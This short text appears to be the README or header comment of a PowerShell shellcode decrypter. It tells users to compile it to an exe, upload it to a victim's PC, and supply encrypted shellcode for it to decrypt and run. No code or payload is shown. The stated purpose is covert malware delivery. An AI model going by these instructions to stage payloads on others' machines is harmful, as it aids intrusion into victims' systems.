PowershellDecrypter

/*
<Manual - after compiling this to a exe ,you will upload to victims pc and you need to put the
        encrypted shell code into a file (might be a text file also) so that this program can decrypt it
        and (if you change the encryption logic you have to change the decryption logic too).

/*note: i have just started with this, many more functions i am gonna add with it, so relax and try this
    simple encoder/decoder powershell scripts.
